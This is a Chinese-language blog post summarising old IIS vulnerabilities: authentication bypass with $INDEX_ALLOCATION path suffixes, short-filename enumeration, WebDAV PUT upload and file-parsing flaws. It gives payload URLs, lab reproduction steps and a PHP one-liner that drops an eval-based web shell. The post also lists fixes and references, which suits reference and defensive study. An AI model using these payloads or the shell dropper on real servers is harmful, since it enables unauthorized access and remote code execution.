iis漏洞汇总

 

ID

技术描述

利用场景/条件

过程

参考

武器库关联

S1

认证绕过漏洞

漏洞影响版本:IIS 6.0、IIS 7.5

漏洞缓解

1.IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;

2.攻击者需要事先获取IIS服务器受认证保护目录;

主要包括以下三类绕过:

1. 安装了PHP的Microsoft IIS 6.0身份验证绕过:

IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露; Eg:/admin::$INDEX_ALLOCATION/index.php

2.Microsoft IIS 7.5经典ASP身份验证绕过:

配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;

举例: Eg:/admin:$i30:$INDEX_ALLOCATION/index.asp

3.Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:

在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php

除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。

IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。

Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)

漏洞类型:可远程利用,可触发认证绕过和信息泄露

漏洞复现:复现环境:Windows 7 x64位,默认IIS 7.5以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:

1.IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;

 

 

 

 

2.配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;

 

 

3.接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:

http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;

 

 

4.除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;

Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;

 

 

a.正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:

 

 

b.通过在末尾加上/.php,成功执行php代码:

 

 

https://mp.weixin.qq.com/s/FHb82rhk-63HSU7R_g1Atw  
S2 IIS短文件名漏洞

IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)

IIS 7.5,Windows 2008(经典管道模式)

一、漏洞的成因
1、为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
在Windows下查看对应的短文件名,可以使用命令dir/x。
2、短文件名有如下特征:
a、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。
b、后缀名最长只有3位,多余的被截断。
3、我们可以启用.net的iis下暴力列举短文件名,原因是:
a、访问构造的某个存在的短文件名,会返回404。
b、访问构造的某个不存在的短文件名,会返回400。
二、漏洞的利用
1、需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url。
a、http://www.xxxx.com/*~1***/a.aspx
b、http://www.xxxx.com/dad*~1***/a.aspx/
2、如果404则文件存在,继续猜解
a、http://www.xxxx.com/a*~1***/a.aspx404
b、http://www.xxxx.com/ad*~1***/a.aspx404
c、http://www.xxxx.com/adm*~1***/a.aspx
3、依次类推,一个一个枚举就可以进行下去。
注意:如果admin开头的是一个文件夹,则
http://www.xxxx.com/admin*~1/a.aspx会是404的。
4、继续猜解
http://www.xxxx.com/admin*~1*g*/a.aspx
如果404,则扩展名肯定有g,按这个思路继续。
三、实际用处
1、猜后台。
2、猜敏感文件。
3、一些情况,可以通过短文件名直接下载对应的文件。
四、局限性
1、只能猜6位,以及扩展名前3位。
2、名称较短的文件是没有相应的短文件名的。
3、需要iis和.net两个条件都满足。
https://www.freebuf.com/news/172561.html https://github.com/lijiejie/IIS_shortname_Scanner
S3 PUT任意文件写入漏洞

IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。

版本:IIS 6.0

利用方法:

先用PUT方法上传txt文件,然后再用move改文件名称:

 

 

 

 

漏洞修复建议
1:关闭WebDAV
2:关闭写入权限

https://www.cnblogs.com/-mo-/p/11295400.html  
S4 IIS解析漏洞 IIS6.0

一、IIS 5.x/6.0解析漏洞

IIS 6.0解析利用方法有两种
1.目录解析

/xx.asp/xx.jpg
2.文件解析

wooyun.asp;.jpg
第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 wooyun.asp,那么

/wooyun.asp/1.jpg
将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

第二种,在IIS6.0下,分号后面的不被解析,也就是说

wooyun.asp;.jpg
会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种

/wooyun.asa
/wooyun.cer
/wooyun.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

http://www.360doc.com/content/14/1213/18/597197_432668678.shtml  
posted @ 2021-10-11 15:57  梦幻泡影离殇  阅读(981)  评论(0编辑  收藏  举报